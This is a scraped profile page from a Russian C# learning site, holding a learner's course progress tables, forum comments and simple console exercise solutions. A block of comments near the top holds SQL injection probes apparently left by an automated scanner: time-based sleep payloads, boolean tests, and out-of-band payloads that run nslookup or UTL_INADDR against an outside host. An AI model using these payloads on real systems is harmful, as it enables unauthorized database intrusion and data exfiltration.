Си шарп с нуля

Формула программиста

основатель — Волосатов Евгений Витольдович
Робот Шарп возобновит работу 5 сентября в 21:00.

Oleksandr
  • Звание: Мегакодер
  • Накопленный опыт: 636 часов
  • Баланс Мегахешей: собрано 525 Mh, потрачено 23 Mh , остаток 502 Mh
  • Баланс Байтов: нет
  • Не состоит в «Клубе формулистов»
  • Последний визит: 2019-08-01 15:46:12
  • Возраст: 41 год

Видеокурсы

Дата активности Видеокурс Прогресс
2019-03-19 sweep Боты Сапёра 29 из 32 91 %
2019-03-17 power Дневник успеха 34 из 210 567 %
2019-02-23 pymath Python3: математика 1 из 20 %
2019-01-17 image Фотошарп 9 из 10 100 %
2018-12-31 start Начало здесь все 9 %
2018-12-29 wpf2 Простой WPF все 12 %
2018-11-15 soft1 Нанософт все 10 100 %
2018-10-22 task5 Секундомер все 17 107 %
2018-09-28 solo Соло на клавиатуре 5 из 6 %
2018-09-11 soft3 Теория ООП все 39 100 %
2018-07-23 soft0 Демо софт 7 из 8 100 %
2018-07-17 game0 Демо игры 9 из 10 90 %
2018-07-09 game1 Нано-игры все 9 90 %
2018-07-07 nevermind Невидимка все 5 %
Итого: 195 из 397 50 %

Консольные задачи

Дата активности Консольный раздел Прогресс
2019-03-22 task1 Строки все 14 100 %
2019-03-22 solo C# набор 29 из 17 171 %
2019-03-20 task2 Алгоритмика все 20 100 %
2019-03-17 task1 Целые числа все 7 100 %
2019-03-16 book 000. Строки 2 из 8 25 %
2019-03-16 solo HTML - таблицы 13 из 5 260 %
2019-03-14 task1 Семантика все 6 100 %
2019-03-10 task2 Динамика 1 из 3 34 %
2019-03-09 task2 Рекурсия все 4 100 %
2019-03-06 task2 Матрицы все 4 100 %
2019-03-04 task2 Строки все 6 100 %
2019-02-06 task2 Подпрограммы все 14 100 %
2019-01-28 task2 Простые массивы все 8 100 %
2019-01-21 task2 Матрёшки все 9 100 %
2019-01-17 task2 По цифрам все 8 100 %
2019-01-15 task2 Любимые циклы все 6 100 %
2019-01-13 task2 Математика все 9 100 %
2019-01-08 task2 Последовательность все 6 100 %
2019-01-06 task2 Узник цикла IF все 6 100 %
2019-01-05 task2 Точка и плоскость все 6 100 %
2019-01-04 task2 Обман цикла все 7 100 %
2019-01-03 task2 Do-рацикл все 4 100 %
2019-01-02 task2 Вечность все 5 100 %
2018-12-31 task2 Пока-цикл все 6 100 %
2018-12-30 task2 For-to-чки все 26 100 %
2018-12-29 task2 Условный оператор все 16 100 %
2018-12-28 task2 Логика все 13 100 %
2018-12-27 task2 Типы данных все 5 100 %
2018-12-24 task1 Календарь все 16 100 %
2018-12-05 task1 Целые задачи все 11 100 %
2018-12-05 task1 Цифры 11 из 12 92 %
2018-12-04 task1 Геометрия все 8 100 %
2018-12-01 task1 Символы все 5 100 %
2018-11-30 task1 Формулы все 9 100 %
2018-11-15 task1 Лирика 13 из 14 93 %
2018-11-12 solo СОЛО на клавиатуре 15 из 0 %
2018-10-20 jawa START - Запуск все 1 100 %
2018-10-13 club 24 - Муза Оля 1 из 3 34 %
2018-09-28 solo YESOLO on the Keyboard 22 из 0 %
2018-09-10 solo Java - База 11 из 0 %
2018-08-31 solo Java - Ввод данных все 6 100 %
2018-08-29 solo Java - Циклы все 2 100 %
2018-08-27 solo Java - Условия все 7 100 %
2018-08-14 solo Java - Вывод данных все 7 100 %
2018-08-06 solo HTML - тексты все 14 100 %
2018-07-23 solo Java - Запуск все 13 100 %
Итого: 432 из 376 115 %
Сохранить страницу:


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-14252.11120.8de0a.\1.bxss.me


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-14251.11120.8de0a.\1.bxss.me'


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14250.11120.8de0a.1.bxss'||'.me')||'


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-14249.11120.8de0a.1.bxss'||'.me')


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

KfnFBPFv'));select pg_sleep(12.015); --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

OcQ3iLLg');select pg_sleep(12.015); --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

KMjKeXY1';select pg_sleep(36.045); --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

-1));select pg_sleep(36.045); --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

-1);select pg_sleep(36.045); --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:39

-1;select pg_sleep(24.03); --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

kMfhlM1v'; waitfor delay '0:0:24.03' --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

1 waitfor delay '0:0:24.03' --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

-1); waitfor delay '0:0:12.015' --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

-1; waitfor delay '0:0:12.015' --



31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

(select(0)from(select(sleep(36.045)))v)/*'+(select(0)from(select(sleep(36.045)))v)+'"+(select(0)from(select(sleep(36.045)))v)+"*/



31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

if(now()=sysdate(),sleep(24.03),0)/*'XOR(if(now()=sysdate(),sleep(24.03),0))OR'"XOR(if(now()=sysdate(),sleep(24.03),0))OR"*/


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

-1" OR 2+482-482-1=0+0+0+1 --


31528. --
1
1
ответить
→  Oleksandr  # Демо софт / Двенадцать месяцев / 2021-07-30 21:38

-1' OR 2+457-457-1=0+0+0+1 or 'd70gDx1W'='


31528. --
1
1
ответить


19475. --
Konstantin
Konstantin
ответить
→  Oleksandr  # Боты Сапёра / БОТ - Всё открыто! / 2019-03-19 22:06

В будущем — конечно, в скором! —
Я хотел бы стать сапёром!
Мы с товарищами будем
Разминировать пути,
Чтобы техника и люди
По путям могли пройти!
Пусть боится неприятель!
Пусть в долинах и горах
Мой большой миноискатель
На врагов наводит страх!
(Белоножко Алёна)  - Мне нравятся эти стихи, и мне кажется они разбавляют столь серьёзную тему.


10365. --
Rita
Rita
ответить
→  Oleksandr  # Боты Сапёра / БОТ - Всё открыто! / 2019-03-19 21:27

Классно конечно) Курс классный.  Всё отлично.
Осталось применить знания на практике и реализовать своего бота.


17663. --
Oleksandr
Oleksandr
ответить
→  Евгений  # Начало здесь / День №3. Безошибочное владение Клавиатурой. / 2019-03-19 20:24

Поздравляю.
Очень рекомендую освоить метод слепой печати. Евгений Витольдович осенью устраивал марафон по прохождению "СОЛО на клавиатуре", сначала на английском, а потом и на русском.
Так благодаря этому я могу печатать на английском уже не глядя со скоростью 150 знаков в минуту и на русском до 100.
К чему я это - навык для программиста обязательный да и в жизни пригодится. Освоить можно за месяц. Потом только закреплять/улучшать.


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / For-to-чки / Тройка / 2019-03-17 22:57

//www.VideoSharp.info/Консоль/For-to-чки/Тройка
using System;
class VideoSharp
{
    static void Main()
    {
        long a = long.Parse(Console.ReadLine());
        long x = 1;
        for(long i = 0; i < a; i++)
            x *= 3 ;
        Console.WriteLine(x);
    }
}  Решение из видео подсказки, может кому пригодиться.


10365. --
Rita
Rita
ответить
→  Oleksandr  # Боты Сапёра / БОТ - Неуправляемый Интеллект / 2019-03-17 16:36

Приветствую, Oleksandr! Супер!
первый результат обнадёживает !
Это хорошо  при создании  своего приложения


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / For-to-чки / Семёрка / 2019-03-16 11:12

//www.VideoSharp.info/Консоль/For-to-чки/Семёрка
using System;
class VideoSharp
{
    static void Main()
    {
        long N = long.Parse(Console.ReadLine());
        long x = 1;
        for(int i = 0; i < 7; i++)
            x *= N ;
        Console.WriteLine(x);
    }
} Решение из видео подсказки, может кому пригодиться.


17663. --
Oleksandr
Oleksandr
ответить
→  Дмитрий Никифоров  # Боты Сапёра / БОТ - Сканер минного поля / 2019-03-15 11:36

Привет.
Мне Евгений Витольдович советовал повременить с прохождением данного курса, но я очень хотел бота сделать для одной игры, поэтому решился.
И уже в процессе прохождения я понял почему. Лично мне не хватает понимания ООП, а так как игромистр кодит на ходу, по мере записи урока, то трудно бывает понять, что куда и зачем.


20738. --
Дмитрий Никифоров
Дмитрий Никифоров
ответить
→  Oleksandr  # Боты Сапёра / БОТ - Сканер минного поля / 2019-03-15 09:39

Круто, надеюсь дойду тоже до написания ботов )


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Семантика / Дедушка Эхо / 2019-03-14 21:24

//www.VideoSharp.info/Консоль/Семантика/Дедушка Эхо
using System;
class VideoSharp
{
    static void Main()
    {
        string str = Console.ReadLine();
        Console.WriteLine(str);
        Console.WriteLine(str);
    }
}
На всякий случай запостю решение которое проходит все проверки, может кому когда-то пригодиться.


2146. --
Иван
Иван
ответить
→  Oleksandr  # Боты Сапёра / ИИ - Открыть всё! / 2019-03-13 15:53

Пока найдешь, как раз и начинаешь понимать, как тут все работает.


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Рекурсия / Факториал / 2019-03-12 20:37

//www.VideoSharp.info/Консоль/Рекурсия/Факториал
using System;
class VideoSharp
{
    static void Main()
    {
        int nr = int.Parse(Console.ReadLine());
        Console.WriteLine(factorial(nr));
       
    }

    static long factorial(long nr)
    {
        if(nr <= 1) return 1;
        return nr * factorial(nr - 1);
    }
}


17663. --
Oleksandr
Oleksandr
ответить
→  Артем  # Начало здесь / День №1. Создание микро-Привычки. / 2019-03-10 20:34

Так держать Артем.
Проверка отчетов приносит не только байты, но еще несет и ознакомительный характер. Так ты наглядно видишь какие курсы есть и новинки, как только они появляются. Это помогает тебе определиться с очередностью прохождения материала исходя из твоих текущих задач. Ну и часто в начальных курсах встречается урок-консультация с Евгением Витольдовичем, которой рекомендую воспользоваться - он подскажет что и в какой очередности лучше проходить. ;)


1. --
Евгений Волосатов
Евгений Волосатов
ответить

17663. --
Oleksandr
Oleksandr
ответить
→  Константин  # Демо игры / C# чего начать программировать / 2019-03-09 14:13

С почином Константин!
Рекомендую попробовать все видео курсы первого уровня сложности. А потом постепенно наращивать сложность.
Так же очень помогает проверка отчетов - она дает хорошее представление о тех или иных курсах и позволяет выбрать дальнейшее направление развития.
Терпения и усидчивости на этом трудном, но интересном пути!


17663. --
Oleksandr
Oleksandr
ответить
→  Gravikul  # Начало здесь / День №3. Безошибочное владение Клавиатурой. / 2019-03-08 11:47

Поздравляю.
Очень рекомендую освоить метод слепой печати. Евгений Витольдович осенью устраивал марафон по прохождению "СОЛО на клавиатуре", сначала на английском, а потом и на русском.
Так благодаря этому я могу печатать на английском уже не глядя со скоростью 150 знаков в минуту и на русском до 100.
К чему я это - навык для программиста обязательный да и в жизни пригодится. Освоить можно за месяц. Потом только закреплять/улучшать.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Боты Сапёра / ИИ - Открыть всё! / 2019-03-08 09:55

Молодец, доработал!


17947. --
Dmitry Sinitsin
Dmitry Sinitsin
ответить
→  Oleksandr  # Боты Сапёра / ИИ - Открыть всё! / 2019-03-08 09:25

Эти запинки дороже гладких уроков.


17663. --
Oleksandr
Oleksandr
ответить
→  Діма  # Демо игры / VIP. Бесплатная консультация / 2019-03-07 23:07

И так все откладывают.
Я вон уже скоро год как на ресурсе, а все никак воспользоваться не решусь.  То вопросы такие, что впору самому нагуглить, то все руки никак не дойдут,а потом и за давностью отпадают.
Желаю, что-бы как можно скорее появилась идея, достойная консультации. А уж Евгений Витольдович подскажет и направит.


9752. --
chokayes
chokayes
ответить
→  Oleksandr  # Боты Сапёра / ИИ - Множественное тестирование / 2019-03-07 10:06

Приветствую, Oleksandr! Отличная работа, желаю дальнейших успехов!


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr   / 2019-03-06 17:30

Можете пока проигнорировать.


17663. --
Oleksandr
Oleksandr
ответить
→  Евгений Волосатов   / 2019-03-06 16:23

А на первом скриншоте к уроку.
Но я вижу что не правильно выразился - не ошибка, а предупреждение. Warning CS0660 'Coord' defines operator == or operator != but does not override Object.Equals(object o). Заметил, что у Вас VS применял автозаполнение для "operator", а у меня нет.


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Боты Сапёра / ИИ - Жучкин алгоритм / 2019-03-06 15:27

Ты бы ещё сформулировал, какая ошибка.


17663. --
Oleksandr
Oleksandr
ответить
→  Tekashnik  # Боты Сапёра / ИИ - Элементарные алгоритмы / 2019-03-06 11:57

Привет. Ты прав.
Я что-то понадеялся, что ошибку поборю при прохождении следующего урока (при переносе кода  в своего минера), ну а если не получиться то уже обращусь в телеграме в клуб формулистов.
А ошибка - Warning CS0660 'Coord' defines operator == or operator != but does not override Object.Equals(object o). Заметил, что у игромистра VS применяет автозаполнение для "operator", а у меня нет.


8275. --
Tekashnik
Tekashnik
ответить
→  Oleksandr  # Боты Сапёра / ИИ - Элементарные алгоритмы / 2019-03-06 05:55

Нужно было наверное прикрипить скриншот с ошибкой, может быть сообщество бы возбудилось и помогло)) А так не понятна суть ошибки))


17663. --
Oleksandr
Oleksandr
ответить
→  RasDimday  # Начало здесь / День №2. Общение с Единомышленниками. / 2019-03-05 12:08

Так держать RasDimday.
Проверка отчетов приносит не только байты, но еще несет и ознакомительный характер. Так ты наглядно видишь какие курсы есть и новинки, как только они появляются. Это помогает тебе определиться с очередностью прохождения материала исходя из твоих текущих задач. Ну и часто в начальных курсах встречается урок-консультация с Евгением Витольдовичем, которой рекомендую воспользоваться - он подскажет что и в какой очередности лучше проходить. ;)


17663. --
Oleksandr
Oleksandr
ответить
→  RasDimday  # Демо софт / Вступительное слово / 2019-03-04 11:09

Приветствую Дмитрий!
Очень рекомендую вернуть английскую версию для Visual Studio, ибо непривычно будет только по началу - первую неделю. На уроках да и в интернете у всех английская версия и тебе будет удобнее смотреть подсказки и учиться ориентироваться сразу на английской, а не пытаться переводить английские названия пунктов меню на русские.


791. --
Валерий Жданов
Валерий Жданов
ответить
→  Oleksandr  # Python3: математика / Погружение в python3 / 2019-02-23 16:09

))) удачи!


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Строки / Снова многоточие / 2019-02-08 21:47

//www.VideoSharp.info/Консоль/Строки/Снова многоточие
using System;
class VideoSharp
{
    static void Main()
    {
        string line = Console.ReadLine();
        if(line.Contains("."))
            Console.WriteLine(line.Substring(0, line.IndexOf('.')) + ".." + line.Substring(line.IndexOf('.')));
        else
            Console.WriteLine(line);         
    }
} Решение из видео


14075. --
Rise
Rise
ответить
→  Oleksandr  # Боты Сапёра / ИИ - Пересечение множеств / 2019-02-08 21:00

Видно, что программа очень сложная. И видимо, требуется очень много терпения и выносливости, чтобы дописать её до конца. Oleksandr, я желаю тебе не терять твоего настроя и продолжать развиваться в том же духе, осиливая написание все новых и новых программ. Хочется верить, что когда-нибудь у меня тоже хватит выдержки пройти написание сапера.


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Строки / Сколько слов / 2019-02-07 18:32

//www.VideoSharp.info/Консоль/Строки/Сколько слов
using System;
class VideoSharp
{
    static void Main()
    {
        char [] charSeparators = new char[] {' '};
        string [] s = Console.ReadLine().Split(charSeparators, StringSplitOptions.RemoveEmptyEntries);
        Console.WriteLine(s.Length);
    }
} Решение из видео-подсказки.


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Строки / Звездочки / 2019-02-06 23:45

//www.VideoSharp.info/Консоль/Строки/Звездочки
using System;
class VideoSharp
{
    static void Main()
    {
        string line = Console.ReadLine().Replace("*","");
        Console.WriteLine(line);
    }
} Решение задачи из видео-подсказки. Прям отдых какой то после предыдущего цикла задач.  Но на всякий опубликую, мало ли...


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Подпрограммы / Палиндромы / 2019-02-05 22:29

//www.VideoSharp.info/Консоль/Подпрограммы/Палиндромы
using System;
class VideoSharp
{
    static void Main()
    {
        long n, count_of_palindromes;
        count_of_palindromes = 0;
        for(int j = 1; j <= 5; j++)
        {
            n = long.Parse(Console.ReadLine());
            if(is_palindrome(n))
                count_of_palindromes++;
        }
        Console.WriteLine(count_of_palindromes);
    }

    static bool is_palindrome(long a)
    {
        long b, a1;
        b = 0;
        a1 = a;
        while(a1 > 0)
        {
            b = b * 10 + a1 % 10;
            a1 /= 10;
        }
        return a == b;
    }
} Решение из видео.


17663. --
Oleksandr
Oleksandr
ответить
→  Марина  # Начало здесь / День №1. Создание микро-Привычки. / 2019-02-04 22:10

Так держать Марина.
Проверка отчетов приносит не только байты, но еще несет и ознакомительный характер. Так ты наглядно видишь какие курсы есть и новинки, как только они появляются. Это помогает тебе определиться с очередностью прохождения материала исходя из твоих текущих задач. Ну и часто в начальных курсах встречается урок-консультация с Евгением Витольдовичем, которой рекомендую воспользоваться - он подскажет что и в какой очередности лучше проходить. ;)


9752. --
chokayes
chokayes
ответить
→  Oleksandr  # Дневник успеха / 2019-02-03 : Тот ничего не сделал, кто ничего не начал. / 2019-02-04 07:35

Приветствую, Oleksandr! Отличные планы на неделю. Желаю успехлв в прохождении!


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Подпрограммы / Молодой / 2019-02-03 21:22

//www.VideoSharp.info/Консоль/Подпрограммы/Молодой
using System;
class VideoSharp
{
    static void Main()
    {
            DateTime younger;
            younger = InputDate();
            younger = YoungerDate(younger, InputDate());
            younger = YoungerDate(younger, InputDate());
            younger = YoungerDate(younger, InputDate());
            younger = YoungerDate(younger, InputDate());
            Console.WriteLine("{0} {1} {2}", younger.Day, younger.Month, younger.Year);   
    }

    static DateTime InputDate()
    {
        string [] line = Console.ReadLine().Split();
        DateTime date = new DateTime(
                    int.Parse(line[2]),
                    int.Parse(line[1]),
                    int.Parse(line[0]));
        return date;
    }

    static DateTime YoungerDate(DateTime date1, DateTime date2)
    {
        return date1.CompareTo(date2) < 0 ? date2 : date1;
    }
} Супер. Решение из видеоподсказки.


17663. --
Oleksandr
Oleksandr
ответить
→  крем сода   / 2019-02-02 12:22

Спасибо. Тоже надеюсь что не заброшу ибо программа достойна того что-бы быть представленной в портфолио. Но пока уровня знаний не хватает, прям остро чувствуется недостаток теории. Вот прямо начал  книгу читать.  И даже потом чувствую надо будет переделывать с нуля, что-бы получилось реализовать все как у родительской программы.


20893. --
крем сода
крем сода
ответить
→  Oleksandr  # Боты Сапёра / ТРЕТЬФИНАЛЬНЫЙ УРОК / 2019-02-01 21:33

Программа здорово выглядит, надеюсь не забросишь ее, а будешь потихоньку воплощать все свои идеи. Удачи!


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Подпрограммы / НОК / 2019-02-01 17:42

//www.VideoSharp.info/Консоль/Подпрограммы/НОК
using System;
class VideoSharp
{
    static void Main()
    {
        string[] line = Console.ReadLine().Split();
        long answer = nok(long.Parse(line[0]), long.Parse(line[1]));
        answer = nok(answer, long.Parse(line[2]));
        answer = nok(answer, long.Parse(line[3]));
        answer = nok(answer, long.Parse(line[4]));
        Console.WriteLine(answer);
    }

    static long nod1(long a, long b)
    {
        long n = a < b ? b : a;
        for(long j = n ; j >= 1; j--)
            if(a % j == 0 && b % j == 0)
                return j;
        return 1;
    }

    static long nok( long a, long b)
    {
        return a / nod(a, b) * b;
    }

    static long nod(long a, long b)
    {
        if(a < b) return nod( b, a);
        if(b == 0) return a;
        return nod(b, a % b);
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Подпрограммы / Степень / 2019-01-31 14:44

//www.VideoSharp.info/Консоль/Подпрограммы/Степень
using System;
class VideoSharp
{
    static void Main()
    {
        long a, b, c, d, e, sum;
        a = long.Parse(Console.ReadLine());
        b = long.Parse(Console.ReadLine());
        c = long.Parse(Console.ReadLine());
        d = long.Parse(Console.ReadLine());
        e = long.Parse(Console.ReadLine());
        sum = power(a, b) + power(b, c) + power(c, d) + power(d, e) + power(e, a);
        Console.WriteLine(sum);
    }

    static long power(long x, long y)
    {
        long p = 1;
        for(int j = 1; j <= y; j++)
        {
            p = p * x;
        }
        return p;
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Подпрограммы / Плюс плюс / 2019-01-30 18:36

//www.VideoSharp.info/Консоль/Подпрограммы/Плюс плюс
using System;
class VideoSharp
{
    static void Main()
    {
        long a, m;
        m = 1;
        for(int j = 1; j <= 5; j++)
        {
        a = long.Parse(Console.ReadLine());
        m = mult(m, a);
        }
        Console.WriteLine(m);
    }

    static long mult(long a, long b)
    {
        if (a > b) return mult(b, a);
        long sum = 0;
        while(a > 0)
        {
            sum += b;
            a--;
        }
        return sum;
    }
} Решение из видеоподсказки. Очень подробно и доходчиво.


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Подпрограммы / МиниМакс / 2019-01-29 22:06

//www.VideoSharp.info/Консоль/Подпрограммы/МиниМакс
using System;
class VideoSharp
{
    static void Main()
    {
        string [] line = Console.ReadLine().Split();
        long x = long.Parse(line[0]);
        long xmin = x;
        long xmax = x;
        for(int i = 1; i < line.Length; i++)
        {
            x = long.Parse(line[i]);
            xmin = min(xmin, x);
            xmax = max(xmax, x);
        }
        Console.WriteLine(xmin);
        Console.WriteLine(xmax);
    }

    static long min(long a, long b)
    {
        return a > b ? b : a;
    }

    static long max(long a, long b)
    {
        return a < b ? b : a;
    }
}


9752. --
chokayes
chokayes
ответить
→  Oleksandr  # Боты Сапёра / ИГРА - Зелёный флаг / 2019-01-29 09:33

Приветствую, Oleksandr! Отличный результат. Борьба с ошибками нехило прокачивают скилл.


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Простые массивы / Обмен / 2019-01-28 14:21

//www.VideoSharp.info/Консоль/Простые массивы/Обмен
using System;
class VideoSharp
{
    static void Main()
    {
        int N = int.Parse(Console.ReadLine());
        string[] s = Console.ReadLine().Split();
        int[] M = new int[N];
        int min = int.Parse(s[0]);
        int max = int.Parse(s[0]);
        int minIndex = 0;
        int maxIndex = 0;

        for(int i = 0; i < N; i++)
        {
            M[i] = int.Parse(s[i]);
            if (M[i] < min)
            {
                minIndex = i;
                min = M[i];
            }
            else if (M[i] > max)
            {
                maxIndex = i;
                max = M[i];
            }
        }
        M[minIndex] = max;
        M[maxIndex] = min;
        foreach( int n in M)
            Console.Write("{0} ", n);
        Console.WriteLine();
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Простые массивы / Мульти возведение / 2019-01-24 20:07

//www.VideoSharp.info/Консоль/Простые массивы/Мульти возведение
using System;
class VideoSharp
{
    static void Main()
    {
        int N = int.Parse(Console.ReadLine());
        string[] s = Console.ReadLine().Split();
        int[] M = new int[N];
        for(int i = 0; i < N; i++)
        {
            M[i] = int.Parse(s[i]);
            if (i % 2 == 0) Console.Write("{0} ", M[i] * 2);
            else Console.Write("{0} ", M[i] * M[i]);
        }
        Console.WriteLine();
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Простые массивы / Копипаст / 2019-01-23 17:50

//www.VideoSharp.info/Консоль/Простые массивы/Копипаст
using System;
class VideoSharp
{
    static void Main()
    {
        int N = int.Parse(Console.ReadLine());
        string[] s = Console.ReadLine().Split();
        int[] M = new int[N];
        for(int i = 0; i < N; i++)
            M[i] = int.Parse(s[i]);
        string text = "";
        for(int i = 0; i < N - 1; i++)
            text = text + M[i] + ",";
        text = text + M[N - 1];
        Console.WriteLine(text);
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Простые массивы / Единичный массив / 2019-01-22 13:53

//www.VideoSharp.info/Консоль/Простые массивы/Единичный массив
using System;
class VideoSharp
{
    static void Main()
    {
        int N = int.Parse(Console.ReadLine());
        int[] M = new int[N];
        for(int i = 0; i < N; i++)
        {
            M[i] = 1;
        }
        foreach(int n in M)
            Console.WriteLine(n);
    }
}


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Дневник успеха / 2019-01-20 : Уменье и труд все перетрут. / 2019-01-22 10:44

Если не получиться -записывайся на беспл. консультацию, помогу и поговорим о твоих целях и способах их достижения.


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Матрёшки / Двоичные числа / 2019-01-21 22:50

using System;
class VideoSharp
{
    static void Main()
    {
        for(int i = 0; i <= 1; i++)
        for(int j = 0; j <= 1; j++)
        for(int k = 0; k <= 1; k++)
        for(int l = 0; l <= 1; l++)
        for(int m = 0; m <= 1; m++)
        {
                Console.Write(i); 
                Console.Write(j);
                Console.Write(k);
                Console.Write(l);
                Console.WriteLine(m); 
        } 
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Матрёшки / Семизначные числа / 2019-01-20 21:06

using System;
class VideoSharp
{
    static void Main()
    {
        for(int i = 3; i <= 7; i+= 2)
        for(int j = 3; j <= 7; j+= 2)
        for(int k = 3; k <= 7; k+= 2)
        for(int l = 3; l <= 7; l+= 2)
        for(int m = 3; m <= 7; m+= 2)
        for(int n = 3; n <= 7; n+= 2)
        for(int o = 3; o <= 7; o+= 2)
                Console.WriteLine(i * 1000000 + j * 100000 + k * 10000 + l * 1000 + m * 100 + n * 10 + o);
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Матрёшки / Единичная матрица / 2019-01-19 01:05

//www.VideoSharp.info/Консоль/Матрёшки/Единичная матрица
using System;
class VideoSharp
{
    static void Main()
    {
        int N = int.Parse(Console.ReadLine());
        for(int i = 0; i < N; i++)
        {
            for(int j = 0; j < N; j++)
            {
                if (i == j)
                    Console.Write("1");
                else
                    Console.Write("0");
                if (j != N - 1)
                    Console.Write(" ");
            }
            Console.WriteLine();
        }
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Матрёшки / Числовой треугольник / 2019-01-18 11:41

//www.VideoSharp.info/Консоль/Матрёшки/Числовой треугольник
using System;
class VideoSharp
{
    static void Main()
    {
        for(int i = 1; i < 10; i++)
        {
            for(int j = 0; j < 10; j++)
            {
                if(j > i)
                    break;
                if(j != 0)
                    Console.Write(" ");
                Console.Write(i * 10 + j);
            }
            Console.WriteLine();
        }
    }
}


9014. --
Николай Денисов
Николай Денисов
ответить
→  Oleksandr  # Фотошарп / VIP. Делегаты на кубиках / 2019-01-17 20:44

Молодец, так держать. Отличная работа!


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / По цифрам / Цифры по возрастанию / 2019-01-17 15:02

//www.VideoSharp.info/Консоль/По цифрам/Цифры по возрастанию
using System;
class VideoSharp
{
    static void Main()
    {
        for(int i = 100; i <=999; i++)
        {
            int a = i / 100;
            int b = i / 10 % 10;
            int c = i % 10;
            if(a < b && b < c) Console.WriteLine(i);
        }
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / По цифрам / Три цифры / 2019-01-16 13:02

//www.VideoSharp.info/Консоль/По цифрам/Три цифры
using System;
class VideoSharp
{
    static void Main()
    {
        for(int i = 100; i <= 999; i++)
        {
            int a = i / 100;
            int b = i / 10 % 10;
            int c = i % 10;
            if( a + b + c == 7)
                Console.WriteLine(i);
        }
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Любимые циклы / Фибоначчи / 2019-01-15 16:38

//www.VideoSharp.info/Консоль/Любимые циклы/Фибоначчи
using System;
class VideoSharp
{
    static void Main()
    {
        long N = long.Parse(Console.ReadLine());
        long a1 = 1;
        long a2 = 1;
        long a3 = 1;
        for(long j = 3; j <= N; j++)
        {
            a3 = a1 + a2;
            a1 = a2;
            a2 = a3;
        } 
        Console.WriteLine(a3);
    }
}


1. --
Евгений Волосатов
Евгений Волосатов
ответить
→  Oleksandr  # Дневник успеха / 2019-01-13 : Ученый без дела, как туча без дождя. / 2019-01-15 11:31

Это вполне возможно. С новым то системным блоком :)


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Любимые циклы / Гармония / 2019-01-14 16:45

//www.VideoSharp.info/Консоль/Любимые циклы/Гармония
using System;
class VideoSharp
{
    static void Main()
    {
        double sum = 0d;
        int N = int.Parse(Console.ReadLine());
        for(int i = 1; i <= N; i++)
        {
            sum += (double)1/i;
        }
        Console.WriteLine("{0:f7}", sum);
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Математика / Параметрическая функция / 2019-01-13 15:13

using System;
class VideoSharp
{
    static void Main()
    {
        Console.WriteLine("-------------------------");
        Console.WriteLine("|  t  |  x    |  y    |");
        Console.WriteLine("-------------------------");
        for (double t = 0.0; t < 7.01; t += 0.1)
        {
        double x = Math.Sin(3 * t) + 3 * Math.Cos(t);
        double y = Math.Cos( 2 * t);
        Console.WriteLine("| {0,3:f1} | {1,6:f3} | {2,6:f3} |", t, x, y);
        }
        Console.WriteLine("-------------------------");
    }
}


17663. --
Oleksandr
Oleksandr
ответить
# Консоль / Математика / Дробная таблица / 2019-01-12 18:48

